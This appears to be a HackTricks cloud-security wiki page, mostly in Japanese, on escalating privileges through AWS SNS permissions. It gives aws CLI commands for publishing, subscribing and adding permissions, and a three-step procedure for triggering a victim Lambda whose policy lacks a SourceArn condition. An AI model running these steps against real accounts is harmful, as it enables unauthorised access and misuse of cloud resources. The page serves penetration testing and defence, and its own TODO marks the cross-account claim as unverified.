AWS - SNS Privesc

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

SNS

For more information check:

AWS - SNS Enum

sns:Publish

攻撃者はSNSトピックに悪意のある、または不要なメッセージを送信し、データの破損、意図しないアクションの発動、あるいはリソースの枯渇を引き起こす可能性があります。

aws sns publish --topic-arn <value> --message <value>

潜在的な影響: 脆弱性の悪用、データの破損、意図しない操作、またはリソースの枯渇。

sns:Subscribe

攻撃者は SNS トピックを購読することで、メッセージへの不正アクセスを得たり、そのトピックに依存するアプリケーションの正常な動作を妨害したりする可能性があります。

aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>

潜在的な影響: メッセージへの不正アクセス(機密情報)、影響を受けたトピックに依存するアプリケーションのサービス中断。

sns:AddPermission

攻撃者は不正なユーザーやサービスにSNSトピックへのアクセスを付与し、さらに権限を取得する可能性があります。

aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>

Potential Impact: トピックへの不正アクセス、メッセージの露出、または不正なユーザーやサービスによるトピックの操作。トピックに依存するアプリケーションの正常な動作の妨害。

Invoke a Lambda by abusing wildcard SNS permission (no SourceArn)

Lambda 関数のリソースベースのポリシーが sns.amazonaws.com に対して SourceArn でソーストピックを制限せずに invoke を許可している場合、任意の SNS topic(別アカウントのものを含む)がサブスクライブして関数をトリガーできます。基本的な SNS 権限を持つ攻撃者は、攻撃者制御の入力で Lambda をその IAM ロール下で実行させることができます。

Tip

TODO: これは本当にクロスアカウントで行えますか?

Preconditions

  • 被害者の Lambda ポリシーが以下のようなステートメントを含み、SourceArn 条件がない:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}

悪用手順(同一アカウントまたはクロスアカウント)

# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)

# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>

# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'

潜在的な影響: victim Lambda はその IAM role で実行され、attacker-controlled input を処理します。これにより、権限に応じて関数が機密性の高い操作(例:S3 への書き込み、secrets へのアクセス、リソースの変更)を実行するよう悪用される可能性があります。

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする